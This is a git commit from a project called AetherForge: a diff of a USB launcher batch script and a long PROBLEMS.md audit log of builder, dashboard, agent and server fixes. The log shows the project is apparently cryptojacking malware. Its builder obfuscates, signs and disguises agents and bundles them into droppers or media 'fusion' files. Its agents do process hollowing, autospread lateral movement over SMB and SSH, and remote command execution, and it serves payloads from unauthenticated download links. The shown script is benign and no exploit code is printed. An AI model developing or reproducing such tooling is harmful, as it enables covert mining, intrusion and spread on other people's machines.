fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -105,13 +105,16 @@ if not exist "%ROOT%\data\uploads" mkdir "%ROOT%\data\uploads"
if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints" if not exist "%ROOT%\data\blueprints" mkdir "%ROOT%\data\blueprints"
if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps" if not exist "%ROOT%\data\preps" mkdir "%ROOT%\data\preps"
:: Cloudflare Zero Trust connector starts inside AetherForge.exe when a token is set
:: (Calibrate -^> Cloudflare Tunnel Token, or data\cloudflared-token.txt, or AF_TUNNEL_TOKEN).
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
:: 5. Detect LAN IP for display :: 5. Detect LAN IP for display
:: ---------------------------------------------------------------- :: ----------------------------------------------------------------
set "SERVER_PORT=8989" set "SERVER_PORT=8989"
set "CONFIG_FILE=%ROOT%\data\config.json"
if exist "%CONFIG_FILE%" (
for /f "usebackq delims=" %%P in (`powershell -NoProfile -Command "try { $j = Get-Content -Raw '%CONFIG_FILE%' | ConvertFrom-Json; if ($j.port) { $j.port } } catch { }"`) do (
if not "%%P"=="" set "SERVER_PORT=%%P"
)
)
for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do ( for /f "tokens=2 delims=:" %%I in ('ipconfig ^| findstr /i "IPv4" ^| findstr /v "127.0.0.1"') do (
set "LAN_IP=%%I" set "LAN_IP=%%I"
goto lan_done goto lan_done
@@ -136,18 +139,37 @@ echo LAN: http://%LAN_IP%:%SERVER_PORT%
echo Data: %ROOT%\data\ echo Data: %ROOT%\data\
echo. echo.
echo Login accounts: admin + comrade ^(passwords below after start^). echo Login accounts: admin + comrade ^(passwords below after start^).
echo Cloudflare: paste token in Calibrate or data\cloudflared-token.txt — server starts connector. echo Cloudflare tunnel starts below ^(LAUNCH + server^).
echo Press Ctrl+C to stop. echo Press Ctrl+C to stop.
echo ================================================================ echo ================================================================
echo. echo.
:: Start Cloudflare connector before server ^(works with old or new AetherForge.exe^)
set "CF_SCRIPT=%ROOT%\scripts\usb-start-cloudflared.ps1"
if not exist "%CF_SCRIPT%" set "CF_SCRIPT=%ROOT%\..\scripts\usb-start-cloudflared.ps1"
if exist "%CF_SCRIPT%" (
powershell -NoProfile -ExecutionPolicy Bypass -File "%CF_SCRIPT%" -DeckRoot "%ROOT%"
) else (
echo [Tunnel] WARNING: scripts\usb-start-cloudflared.ps1 missing - repack usb folder.
)
echo.
:: Open browser after short delay :: Open browser after short delay
start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'" start "" powershell -NoProfile -WindowStyle Hidden -Command "Start-Sleep -Seconds 3; Start-Process 'http://localhost:%SERVER_PORT%/'"
:: Launch server :: Launch server (LAUNCH already started cloudflared above — tell server not to spawn a second copy)
"%ROOT%\AetherForge.exe" -port %SERVER_PORT% -data "%ROOT%\data" set "AF_TUNNEL_EXTERNAL=1"
"%ROOT%\AetherForge.exe" -data "%ROOT%\data"
set "EC=!ERRORLEVEL!" set "EC=!ERRORLEVEL!"
if exist "%ROOT%\data\cloudflared.pid" (
for /f "usebackq" %%P in ("%ROOT%\data\cloudflared.pid") do (
taskkill /F /PID %%P >nul 2>nul
)
del "%ROOT%\data\cloudflared.pid" 2>nul
)
taskkill /F /IM cloudflared.exe >nul 2>nul
echo. echo.
if "!EC!"=="0" ( if "!EC!"=="0" (
echo [Server] Stopped normally. echo [Server] Stopped normally.

View File

@@ -1,191 +1,128 @@
# Problems
Findings from systematic bug-hunt and test expansion (May 2026). ## Builder / Forge
**Verification:** `test.bat` from project root (→ `scripts/test-suite.ps1`), or `go test ./...` in `server`/`agent` and `npm test` in `server/web`. Live API matrix: `scripts/smoke-test.ps1` with server on :8989. AI handler only: `cd server && go test ./internal/api/... -run AI -v`. *Scope: B-01B-13 (2026-06-04 pass). `go test ./internal/builder/... ./internal/api/...` — run after changes.*
### Fixed in this pass
| ID | Fix |
|----|-----|
| B-01 | `checkBuildSizeFile` enforced on universal/spread-kit and universal-fusion ZIP outputs (`limits.go`, `build_universal.go`). |
| B-02 | `signExecutable` runs on spread-kit workers and universal-fusion runners when `sign_build` is set (`build_universal.go`). |
| B-03 | Dropper `/get` resolves `DownloadURL` artifact paths before `FilePath` (`dropper_handler.go`; `dataDir` on handler). |
| B-04 | Fusion launcher compile respects `shouldObfuscate` / garble (`fusion_media.go`). |
| B-05 | Fusion estimate uses paired/embedded sizing; removed stale `"video"` kind branch (`estimate.go`). |
| B-06 | Estimate adds `signingToolMissingNote` when cert configured but signtool/osslsigncode absent (`estimate.go`, `sign_*.go`). |
| B-07 | Universal fusion README `RunnerName` uses `disguisedRunnerName(payloadBase)` (`build_universal.go`). |
| B-08 | `publishFusionDeliverable` falls back to `dataDir` when `projectRoot` empty (`fusion_media.go`). |
| B-09 | PathForge `Placed` excludes hint file from count (`pathforge.go`). |
| B-10 | Multipart parse limit raised to `multipartMaxMemory` (2 GiB + headroom) (`limits.go`, `handler.go`). |
| B-11 | Dropper PS1 ZIP handler also tries `start.bat` / `deploy.bat` (`dropper_handler.go`). |
| B-12 | `DownloadBuild` Content-Disposition uses `FileName` (`handler.go`). |
| B-13 | `resolveToolPaths` probes bundled `toolchain/gopath/bin` for garble and go-winres (`winres.go`). |
### Open
*(none in B-01B-13 scope)*
--- ---
## Open ## Dashboard (React/Vite)
### Critical / security *Audit fixes: 2026-06-04. `npm run test -- --run` in `server/web` — pass.*
- [HIGH] **server/internal/api/fleet_handler.go** — Remote code execution via authenticated API (`powershell`/`exec`/`upload`). By design — treat dashboard login as root. ### Fixed in this pass
### Frontend production (server/web) | Fix | Area |
|-----|------|
| SessionGate distinguishes 401 vs transport errors; network blip keeps saved credentials with degraded banner | `SessionGate.tsx` |
| Session expiry message when 401 clears auth mid-session (`consumeAuthExpiredFlag`) | `auth.ts`; `client.ts`; `SessionGate.tsx` |
| Download timeouts + AbortError messaging: `downloadAuthedFile`, `downloadAgentLog`, `downloadBackup` (5 min / 10 min) | `download.ts`; `client.ts` |
| Agent log `refresh=1` uses 90s timeout (long-poll) | `client.ts` |
| Re-forge requires confirmation before compile; fusion prep picker highlights on missing payload | `BuilderPage.tsx` |
| BuildManager delete/pin errors surfaced; dropper copy clarifies pinned vs latest; `serverBase` prefers `suggested_url` via parallel `getServerInfo` | `BuildManagerPage.tsx` |
- [LOW] **server/web** — Vite build still warns on `three` vendor chunk (~760 kB gzip ~201 kB). Split out of `DashboardPage`; inherent library size — revisit on next Three/R3F bump. ### Open (document-only / deferred)
- [LOW] **server/web**`npm audit fix` (no `--force`, May 2026) applied **0** semver-safe patches; **6 remain** (5 moderate, 1 critical). **Critical:** `happy-dom@15.x` (Vitest DOM env only — not shipped; fix needs `happy-dom@20.9+`, major bump). **Moderate:** `esbuild@0.21.x` via `vite@5``vitest`/`vite-node` (dev-server SSRF — [GHSA-67mh-4wv8-2f99]; prod build unaffected; fix needs `vite@8+`, major bump). Do **not** run `npm audit fix --force` — also pulls Recharts v3 / React 19 transitives. Planned upgrade batch: Vite 8 + Vitest 3 + happy-dom 20 + Recharts 3 + React 18→19.
- [LOW] **server/web** — Transitive `three-mesh-bvh@0.7.8` deprecated vs pinned `three@0.170` (drei pulls 0.7.x; needs `0.8.0+` on next Three/R3F bump). `@types/three` now pinned to `0.170.0` (aligned with runtime).
### Untested packages (next coverage targets) | Issue | Notes |
- [LOW] **server/internal/builder/** — Unit tests cover compile/fusion/disguise **helpers** (fake-go success/fail/cancel, `compileWorker`, `buildFileFusion` paired/embedded, spread-kit/fusion finish paths, manifest patching). **Integration-only** (needs real toolchain on host): successful agent/fusion `go build`/`garble` binaries, Windows PE disguise (`go-winres`, system icon extract), code signing (`signtool`/`osslsigncode`), Darwin `.app` bundle, full `buildAgent`/`buildUniversalAgent` happy-path end-to-end.
- [LOW] **agent/stats/** — Live kernel/sysctl/vm_stat sampling still integration-only; unit tests cover pure parsers (`parseKB`, `parseMeminfo`, `parseVmStat*`, `filetimeToUint64`, `cpuBusyPercentFromDeltas`).
- [LOW] **agent/deploy/** — Live SSDP multicast/SMB/SSH/cloudflared still integration-only; unit tests cover UPnP XML/URL/SOAP helpers, SSDP LOCATION parsing, passive-spread name/launcher helpers, and platform stubs (`go test ./deploy/...`).
- [LOW] **agent/client/** — Live WS/commands/posture probes still integration-only; unit tests cover pure helpers in `client.go`/`ai.go` (`truncateStr`, JSON types, job payload parsing, mock HTTP for `/decide`/`/heartbeat`/`/report`).
- [LOW] **agent/miner/** — RandomX hashing (`engine.go`), pool worker loop, and stratum TCP login/submit still integration-only; unit tests cover target/schedule helpers, stratum wire types, resource-limit guards, and hex/target math (no VM, no live TCP).
- [LOW] ~~**server/web/src/types/ws.ts + server/internal/api/ws_types.go** — WS payloads typed in two places; drift risk.~~ **Fixed May 2026**`testdata/ws_types_fixture.json` golden file; Go `ws_types_test.go` reflects struct tags; TS `ws.test.ts` asserts same keys/shapes.
---
## Documented / by design
Findings reclassified after code verification (May 2026). Not bugs — documented in README, tests/README, help text, or tests.
| Was | Resolution |
|-----|------------|
| [HIGH] Plaintext passwords in `users.json` | `users.json` stores bcrypt hashes (cost 12). Legacy plaintext auto-migrates on startup and login via `checkPassword` in `router.go`. Documented in README Security + First-run login. |
| [HIGH] `upload_log` no dedicated ingest API | By design: logs via `get_log` command / Fetch Log UI and AI `upload_log` tool reports. Documented in README Fleet Roster, tests/README, Field Guide tips. |
| [MEDIUM] Compact list / expand on click | Implemented in `AgentListItem.tsx` (`compact-row`, click toggles expand). Documented in README Fleet Roster UX. |
| [MEDIUM] Remote actions disabled when offline | Intentional — requires live WebSocket. Documented in README, `settingHelp.ts`, Field Guide tips. Vitest + Playwright `e2e/remote-actions.spec.ts`. |
| [MEDIUM] Fusion uses vendored go-winres | Optional tool; `devrun.bat` installs, builder uses `go run github.com/tc-hib/go-winres`. Documented in README Forge section. |
| [LOW] SettingsPage = Calibrate / no CalibratePage | Nav label **Calibrate** → route `/settings``SettingsPage`. Navigation table in README. (A11y `htmlFor` remains in Open.) |
| [LOW] `types/index.ts` no runtime guards | Compile-time contracts only; comment block at top of file + tests/README Architecture note. |
| [LOW] No e2e for remote actions | Added `server/web/e2e/remote-actions.spec.ts` (offline agent mock → disabled buttons). Vitest coverage in `components.test.tsx`. |
| [LOW] Mesh P2P needs `p2p` tag | Forge adds `-tags p2p` when mesh enabled (`compile.go`); manual builds documented in README agent section. |
---
## Fixed (this session — dead code / wiring pass)
- **[LOW] server/web + server/internal/db** — `BuildRecord.extra_files` persisted in SQLite (`extra_files` JSON column). Build Manager lists extra artifact downloads via `api.buildArtifactUrl` for historical builds, not only the post-forge strip on Forge.
- **[LOW] server/internal/api/router.go + server/web/src/api/client.ts** — Documented agent-only `POST /agent/{decide,report,heartbeat}` (fleet-secret REST; intentionally omitted from dashboard client).
- **[LOW] server/web/src/types/index.ts** — `BuildRecord.download_url` required in TS; added `BuildExtraFile` type. Build Manager uses stored `download_url` for primary download (ZIP/artifact paths).
- **server/web/src/api/client.ts** — Added `rotateFleetSecret()` for `POST /server/rotate-secret` (was raw `fetch` in Calibrate only).
- **server/web/src/pages/SettingsPage.tsx** — Fleet secret rotation uses `api.rotateFleetSecret()`.
- **server/web/src/pages/BuilderPage.tsx** — Wired `blueprintDiff` + `compareBlueprint` / `blueprintName` into a dismissible diff panel after blueprint load/import; extra forge artifacts use `api.buildArtifactUrl` on the last-build strip.
- **server/web/src/pages/BuildManagerPage.tsx** — Primary download uses stored `build.download_url` when present (artifact/ZIP paths from universal/Fusion builds).
## Fixed (this session — frontend production pass)
- **[LOW] server/web** — Vite large-chunk warning for `DashboardPage` (~898 kB → ~33 kB): `manualChunks` splits `three` / `recharts` / `vendor` in `vite.config.ts`; lazy `HashrateChart`, `FleetTopologyMap`, and `MatrixStreamOverlay` in `DashboardPage.tsx`. `npm run build` PASS (remaining warning is isolated `three` chunk only).
- **[LOW] server/web** — React Router v7 future flags (`v7_startTransition`, `v7_relativeSplatPath`) opted in via shared `routerFuture` in `main.tsx` and Vitest `MemoryRouter` wrappers; Vitest stderr warnings cleared.
- **[LOW] server/web/package.json** — Moved `@types/qrcode` and `@types/three` to `devDependencies` (types-only; runtime deps unchanged). `npm ci`, `npm run build`, `npm test -- --run`, and `depcheck` all PASS (33 files / 372 tests).
---
## Fixed (this session — May 2026 full pass)
- **[MEDIUM] server/web/src/pages/BuilderPage.tsx** — Added `useEffect` cleanup on unmount that calls `api.cancelBuild(cancelTokenRef.current)` and sets `batchCancelRef.current = true`. Navigating away from the Forge page now cancels any in-progress server-side compile (M14 UI desync closed).
- **[MEDIUM] agent/miner/pool.go** — Added atomic `jobGen` counter incremented in `SetJob`. Workers snapshot `jobGen` before each 256-nonce inner loop and break early when it changes, eliminating the "stale batch" window. Engine updates moved outside the pool write-lock (each `Engine` has its own `RWMutex`).
- **[LOW] server/internal/api/fleet_handler.go** — `xmrPriceCache` moved from package-global vars (`xmrPriceMu`, `xmrPriceCache`) into `FleetHandler` struct fields (`xmrPriceMu`, `xmrPriceCache`). Multiple routers in one process no longer share a stale cache. Tests updated.
- **[LOW] server/config.go** — `LoadConfig` now calls `mergeConfigExplicit` (with a key-presence map) instead of legacy `mergeConfig`. Boolean fields absent from a hand-edited `config.json` now keep `DefaultConfig` values rather than being zeroed on restart.
- **[LOW] server/internal/api/config_handler.go** — Removed unused `db *db.Database` field from `ConfigHandler` and updated `NewConfigHandler` signature. All call sites updated (`router_test.go`, `integration_test.go`, `config_handler_test.go`, `main.go`).
- **[LOW] server/main.go** — `UpdateConfigFromJSON` now validates semantic constraints before merging: port ranges 165535, pool port range, non-negative max_agents/stats_retention_hours/build_retention_days/max_build_size_mb. Invalid values return `"invalid config: …"` 400 without touching disk.
- **[LOW] server/internal/db/agent_meta.go** — `decodeTags` now logs corrupt tag JSON via `log.Printf` instead of silently discarding it.
- **[LOW] server/web/src/pages/SettingsPage.tsx** — All `<label>` elements paired with text inputs now carry `htmlFor` attributes matching corresponding `id` attributes on their inputs (33 label/input pairs). A11y issue closed.
## Fixed (this session — May 2026 security pass)
- **[CRITICAL] server/internal/api/router.go** — Build download/artifact/uninstall routes (`/api/v1/builds/{id}/download`, `/artifact/`, `/uninstall`) now require either `X-Fleet-Secret` (for agent self-upgrade) or Basic Auth. Removed unconditional public bypass. Tests updated: `TestBasicAuthMiddlewareBuildDownloadRequiresAuth`, `TestRouterBuildDownloadAuth`.
- **[CRITICAL] server/internal/api/router.go** — Agent API paths (`/api/v1/agent/*`) now explicitly return 503 when fleet secret is not configured, rather than silently allowing unauthenticated access. Fleet secret is always auto-generated at first startup via `main.go` so this state should not occur in production.
- **[CRITICAL] server/internal/api/ai_handler.go** — SSRF fixed: `handleDecide` no longer accepts or uses the caller-supplied `ollama_endpoint` to create a new engine. It now requires the engine to be pre-registered when the agent authenticates via WebSocket, returning 403 otherwise. Tests updated: `TestAIHandleDecideSuccess`, `TestAIHandleDecideOllamaFailureFallback`, renamed `TestAIHandleDecideCreatesEngineOnFirstRequest``TestAIHandleDecideRejectsUnregisteredAgent`.
- **[HIGH] agent/deploy/hollow_windows.go** — Added bounds checks in `rvaToFileOffset` (section header array), relocation entry loop (2-byte entry boundary), and `RunHollowed` section-write loop (header and raw-data bounds). Prevents out-of-bounds panics on malformed/truncated PE payloads.
- **[HIGH] agent/deploy/autospread.go** — `StartAutoSpreader` moved from unconditional startup in `main.go` to `AgentClient.authenticate()` behind a `sync.Once`. Lateral movement only begins after the server accepts the fleet secret, ensuring the agent is on an owned fleet. First-run spread marker also gated behind auth.
- **[LOW] server/internal/builder/platform.go** — `platformsForRequest` universal + `TargetArch: arm64` now returns ALL matching platforms (linux-arm64 and darwin-arm64), not just the first. Test `TestPlatformsForRequestUniversalFilteredArch` updated.
- **[LOW] server/internal/maintenance/retention.go** — DB record is now deleted before artifact files (so failed DB deletes don't leave orphaned rows pointing to deleted files). `os.RemoveAll` errors are now logged instead of silently discarded.
- **[LOW] server/internal/maintenance/retention.go** — `StopRetentionJobs` cancels the background retention loop; `main.go` defers it on exit. Test: `TestStopRetentionJobs_StopsBackgroundLoop`.
---
## Fixed (prior session)
- **agent/deploy/** — Added `natpunch_test.go` (10), `hollow_test.go`, `tunnel_test.go`, `autospread_test.go` (2): UPnP XML/SOAP mocks, `xmlEscape`/`getSubnet`/`intSliceStr`, tunnel URL validation, autospread stub paths, hollow unavailable without `-tags hollow`.
- **agent/client/** — Added `client_test.go` (8), `listen_ports_test.go` (2), `dns_config_test.go` (3), `posture_windows_test.go` (5), `listen_ports_parse_test.go` (5, `!windows`): server URL list/WS URL builders, log tail, listen-port/patch JSON, DNS JSON parser, ss/netstat parsers, Windows posture JSON helpers.
- **agent/client/client.go** — `readLogTail` ignored trailing newline when counting lines; `tail_lines=2` on a 4-line log with final `\n` returned only `"line4\n"` instead of last two content lines.
- **agent/stats/** — Added `reporter_test.go` (4 smoke tests), `reporter_linux_test.go` (`parseKB`, linux tag).
- **server/internal/models/** — Added `agent_test.go` (10 tests): JSON round-trips for all exported structs; omitempty/minimal decode.
- **server/internal/ollama/** — Added `engine_test.go` (14 tests): `NewEngine` defaults, type JSON round-trips, mock decide/health paths, markdown JSON extraction, error branches.
- **server/internal/sys/** — Added `firewall_test.go` (2 tests): invalid port; non-Windows stub error.
- **server/internal/alerts/** — Added `notify_test.go` (6 tests): Telegram/email no-op paths, SMTP defaults, `NotifyAll` no-panic.
- **server/internal/pool/** — Added `manager_test.go` (8 tests): validation, `poolKey`, status levels, setters, `ListStatus`.
- **server/internal/db/sqlite.go** — `SetPinnedBuild` returns error when id not found; `TestSetPinnedBuildUnknownID`.
- **agent/client/** — Added `protocol_test.go`, `posture_types_test.go`, `resource_pressure_test.go` (25 tests).
- **agent/client/client.go** — Empty `"error"` in job payload no longer treated as server error.
- **agent/config/** — Added `schedule_test.go` (6 tests): mining mode, clock parse, schedule windows.
- **agent/deploy/** — Added `common_test.go`, `identity_test.go` (18 tests): naming, install paths, agent ID lifecycle.
- **agent/job/** — Added `job_test.go` (2 tests): JSON round-trip.
- **server/internal/api/websocket.go** — `checkDashboardWSToken` compared plain password to bcrypt hash; dashboard WS auth failed after user migration. Now uses `checkPassword`.
- **server/internal/api/** — Added unit/integration tests for remaining handlers: `handlers.go` (agent/build REST), `router.go` (auth middleware, users, rotate-secret, SPA/dropper routes), `websocket.go` (agent/dashboard WS, fleet secret, max agents, log tail), `dropper_handler.go`, `blueprint_handler.go`, `ws_types.go`. New files: `router_test.go`, `dropper_handler_test.go`, `blueprint_handler_test.go`, `websocket_test.go`, `ws_types_test.go`; expanded `handlers_test.go`. `go test ./internal/api/...` — 159 tests PASS.
- **server/web/src/components/** — Added `components.test.tsx` (57 tests) covering all 22 component TSX modules (NeonCard, HelpTip, downloads, ErrorBoundary, SessionGate, charts, fleet panels/toolbar/list/remote actions, forge hints, visual widgets, layout, ambient/matrix/cursor). Vitest `environmentMatchGlobs` includes `src/components/**`.
- **server/web/src/pages/AgentsPage.test.tsx** — `AgentRemoteActions` mocked to avoid live `listBuilds` / ECONNREFUSED :3000 in detail-panel tests.
- **server/web/src/api/client.ts** — `fetchJSON` spread `...options` after merged headers could drop `Content-Type` and `Authorization` when callers pass `options.headers`; headers now merged after rest spread.
- **server/web/src/api/** — Added `client.test.ts` (20) and `download.test.ts` (6): paths, query params, auth headers, FormData fusion builds, error bodies. Expanded `auth.test.ts` (+1 sessionStorage throw path).
- **server/web/src/context/** — Added `WebSocketContext.test.tsx` (2), `WebSocketProvider.test.tsx` (8), `ForgeContext.test.tsx` (4): mock WebSocket connect URL/token, message handlers, `_seq` ring buffer, reconnect timer, forge state machine.
- **server/web/src/pages/BuilderPage.tsx** — Load failure no longer stuck on “Loading forge defaults…” when `form` is null; error message shown instead. Wallet placeholder/short-wallet hint aligned to 90106 chars. Exported `formatBytes` helper.
- **server/web/src/pages/SettingsPage.tsx** — Wallet placeholder aligned to 90106 chars. Exported `deepMerge` helper (config import).
- **server/web/src/pages/** — Added `BuilderPage.test.tsx` (13) and `SettingsPage.test.tsx` (11, Calibrate UI at `/settings`). Page suite now 4 files / 46 tests.
- **server/web/src/test/fixtures.ts** — Added `mockServerConfig()` for page/API tests.
- **server/internal/api/config_handler.go** — PUT errors return valid JSON; `invalid config:` maps to HTTP 400; GET sets explicit 200.
- **server/config.go** — `mergeConfigExplicit` tracks nested key presence; partial PUT `{"server":{"dashboard_subtitle":"x"}}` no longer resets sibling booleans (H14 nested shallow-merge).
- **server/internal/api/config_handler_test.go** — 10 handler unit tests (GET/PUT, 405, invalid JSON, 400/500 paths, JSON escaping).
- **server/config_test.go** — 9 `mergeConfigExplicit` regression tests (partial PUT, nested merge, defaults, bool false, fallback).
- **server/internal/maintenance/** — Added `retention_test.go` (12 tests): `StartRetentionJobs` no-op/disabled, immediate run, 6h tick interval, stats/build purge via temp sqlite + filesystem, zero-retention skips, closed-DB error logs, combined stats+builds pass. Coverage ~97%. Exported `retentionTickInterval` + `runRetentionFn` hooks for testability only.
- **server/web/src/pages/AgentsPage.tsx** — Bulk command errors now alert user (parity with Dashboard B13).
- **server/web/src/pages/DashboardPage.tsx** — Share log table uses composite React key when `share.id` absent; exported `formatShareTime` helper.
- **server/web/src/pages/AgentsPage.tsx** — `listAgents` no longer overwrites live WS agent list when socket already connected (`isConnectedRef` guard).
- **server/web/src/pages/** — Added `DashboardPage.test.tsx` (11) and `AgentsPage.test.tsx` (12); vitest config extended for `.tsx` + `@testing-library/react`.
- **server/internal/db/retention.go** — `ListBuildsOlderThan` used a partial column list; now uses `buildSelectCols` + `scanBuild` for consistent full `BuildRecord` fields.
- **server/web/e2e/smoke.spec.ts** — E2E login used hardcoded `drjones`/`czapiewski`; now reads `AETHERFORGE_E2E_USER`/`AETHERFORGE_E2E_PASS` via `e2e/fixtures.ts` (defaults `testuser`/`testpass`, matching `integration_test.go`). `test-suite.ps1` seeds BOM-free `users.json` before E2E server start; `smoke-test.ps1` defaults updated.
- **server/web/src/help/fleetAnalytics.ts** — `contributionBars` included offline agents in total hashrate denominator, skewing contribution percentages on the dashboard.
- **server/web/src/pages/SettingsPage.tsx** — Access Control help text still referenced removed default credentials; updated to describe first-run console password.
- **server/internal/api/ai_handler_test.go** — Expanded unit tests for `HandleDecide`, `HandleReport`, `HandleHeartbeat`, engine lifecycle, numeric constants (1000 report cap, 60s heartbeat, 120-char reasoning truncate), Ollama-failure sleep fallback, event broadcaster, `recordActivity` merge.
- **server/internal/api/fleet_handler_test.go** — Unit tests for all exported `FleetHandler` methods (`GetAlerts`, `GetPoolStatus`, `GetAIActivity`, `GetXMRPrice`, `GetEarnings`/`GetEarningsEstimate`, `GetAgentLog`, `PostAgentCommand`, `PutAgentMeta`, `PostBulkCommand`), `EstimateXMRPerDay`/`parseFloatQuery`, earnings/XMR price cache TTLs, SupportXMR field normalization, HTTP error branches (503/502/400), and WS command paths via mock transport + test agent WS.
- **server/web/src/help/forgeCompatibility.ts** — Wallet preflight message said length 95106 but validator accepts 90106; message aligned with `looksLikeXMRWallet()`.
- **server/web/src/help/** — Added/expanded vitest coverage: `forgeCompatibility.test.ts` (37), `forgeRules.test.ts` (46), `settingHelp.test.ts` (8).
- **server/web/src/help/buildManager.test.ts** — 9 tests: `blueprintDiff` (added/removed/changed, sort, nested, arrays, empty), `buildRequestFromRecord` merge/override.
- **server/web/src/help/cheatSheetContent.test.ts** — 19 tests: pipeline/network/fusion/AI guides, `FORGE_VS_CALIBRATE`, `TROUBLESHOOTING`, `ROADMAP_FEATURES`, `CHEAT_SECTIONS` registry.
- **server/web/src/help/forgeDefaults.test.ts** — 7 tests: `FORGE_BUILD_DEFAULTS` shape, `forgeDefaultsFromServer` public URL / pool / sign / obfuscate.
- **server/web/src/help/remoteActions.test.ts** — Expanded to 11 tests: `aggressiveActionHint`, spread/mesh gating, legacy undefined caps.
- **server/web/src/help/cheatSheetContent.ts** — Troubleshooting "Shares all rejected" wallet text aligned to 90106 chars (was stale "95 chars").
- **server/internal/builder/** — Added unit tests across compile, disguise, fusion media, polymorph, limits, media lock, handler HTTP/cancel, spread-kit helpers (~110 tests). Fixed wallet validation error text (90106 chars). `go test ./internal/builder/...` — PASS.
- **server/web/src/help/settingHelp.ts** — `calibrate_wallet` / `wallet` help aligned to 90106 chars (was stale "~95 characters"); `settingHelp.test.ts` assertions.
- **server/web/src/components/Charts/GaugeRing.tsx** — Center label now uses clamped value (matches SVG arc 0100%); `components.test.tsx` updated.
- **server/web/src/pages/AgentsPage.tsx** — Fleet Roster `FleetToolbar` wired with `onSelectAllFiltered` / `filteredCount` (Dashboard parity).
- **server/web/src/api/client.ts** — `estimateFusion` client-side prep-file guard (parity with `buildAgent`); `client.test.ts` reject test.
- **agent/miner/** — Added `stratum_test.go` (8), `pool_test.go` (8); expanded `target_test.go` (+6), `schedule_test.go` (+3). **29 tests PASS** — endpoints, Stratum JSON wire types, nonce hex, difficulty/target math, schedule guard.
- **agent/miner/schedule.go** — `MiningModeNormalized()` `"schedule"` was treated as always-on; now accepts `"scheduled"` and `"schedule"`; `allowedAt` for deterministic tests.
- **server/web** — Pinned `@types/three@0.170.0` to match `three@0.170.0` (was `^0.184.1`, skewed from runtime; `skipLibCheck` masked). `@react-three/drei@9.122` / `@react-three/fiber@8.18` unchanged; `tsc`, `npm run build`, vitest (373) — PASS.
---
## Fixed (earlier passes)
See git history and prior audit IDs (B1B42, C1C6, H1H8, etc.) in README / tests/README.md.
---
## Recommended next section
1. **agent/stats/** + **agent/deploy/** integration paths — platform reporters, autospread/hollow
2. **Agent WS token auth** (S2) — security hardening
---
## Test run snapshot (this session)
| Suite | Result |
|-------|--------| |-------|--------|
| `server/internal/api/...` (full) | PASS | | Dual storage without sync policy | Complex cross-tab sync — session preferred over local; `aetherforge-auth` event on logout |
| `server` Go tests | PASS (all packages) | | Flaky progress simulation vs. real compile time | Cosmetic — stage timeline caps at 94% until server responds (45 min client timeout) |
| `agent` Go tests | PASS (full `./...`) | | Path Forge / batch fusion test gaps | Cancellation, partial batch failure, cancel-token races — needs dedicated tests |
| `server/web` vitest (full suite) | PASS — 33 files, 373 tests | | DashboardPage tests emit ECONNREFUSED stderr | Failure-path tests; happy-dom hits `localhost:3000`; tests pass |
| `server/web` `npm run build` (tsc + vite) | PASS | | DownloadButton mock aliasing pattern | Document for new download helpers — shared mock fn already in `components.test.tsx` |
| `server/web` `npm ci` + depcheck | PASS — no missing/unused deps |
| `server/web` Playwright e2e | PASS — 5 tests |
--- ---
## Backend dependency audit (May 2026) Server API — deeper issues only
Source: `server/internal/api` audit (2026-06-04). **API-D01D10 addressed 2026-06-04** (`go test ./internal/api/... -count=1` PASS).
| Module | `go mod tidy` | `go build ./...` | `go test ./...` | Notes | ### Fixed (2026-06-04)
|--------|---------------|------------------|-----------------|-------|
| `server/` | Updated | PASS | PASS | Promoted `golang.org/x/crypto` to direct (bcrypt in `router.go`). Removed stale indirects (`go-winres`, `nfnt/resize`) — winres stays `go run` at build time per README. |
| `agent/` | Updated | PASS | PASS | Promoted `github.com/libp2p/go-libp2p`, `github.com/google/uuid` to direct (`mesh_p2p.go` / `p2p` tag). `go build -tags p2p` and `-tags hollow` PASS on Windows. |
| `fusion/` | No dep changes | PASS | N/A (no `_test.go`) | Stdlib-only module; matches `test-suite.ps1` phase 3/8. |
**Dead/orphan code:** None removed. All agent/server/fusion `.go` files belong to wired packages; build-tag stubs (`mesh_p2p_stub`, `hollow_stub_*`, platform splits) are intentional feature gates, not duplicates. | ID | Fix |
|----|-----|
| API-D01 | `POST /api/v1/auth/ws-ticket` issues 2min one-time tickets; dashboard WS prefers `?ticket=`; legacy `?token=` retained as fallback. |
| API-D02 | Per-IP agent WS upgrade rate limit (429) + 45s pre-auth read deadline before disconnect. |
| API-D03 | `MarkBeaconSeen` / `EnqueueBeaconCommand` require agent row in DB; beacon upsert runs before mark. |
| API-D04 | CoinGecko fetch checks HTTP status; retries 429/5xx up to 3 attempts with backoff. |
| API-D05 | `POST /api/v1/users` validates username (332, alnum/`_`/`-`) and password (4128); **409** on existing username. |
| API-D06 | Agent WS read loop logs unknown `msg.Type` in `default` branch. |
| API-D07 | `notifyCmdCallback` uses blocking channel send (no drop on full buffer). |
| API-D08 | `GET /agents/{id}/stats` returns **404** when agent missing (parity with `GET /agents/{id}`). |
| API-D09 | **By design**`/api/download/agent-*` and dropper `/get` stay unauthenticated; URL knowledge is the gate. |
| API-D10 | Legacy `?token=` WS auth uses `authSessionCache` (bcrypt skip on cache hit), same as REST. |
**Fix applied:** `fleet_handler_test.go` nil-WS cases used struct value-copy (`bad := *fh`) which tripped `go vet` (mutex copy). Replaced with `NewFleetHandler(..., nil, ...)`. ---
### Fixed (2026-06-04)
- **`mergeConfig`:** now merges `server.fleet_secret` and `tunnel_defaults` (file load still uses `mergeConfigExplicit` for bool safety).
- **`pool.Manager`:** `poolKey` includes `PaymentID` to avoid integrated-address proxy collisions.
- **`GetSpreadFunnelStats`:** `new_connects_today` now uses caller `since` (aligned with `by_build` window).
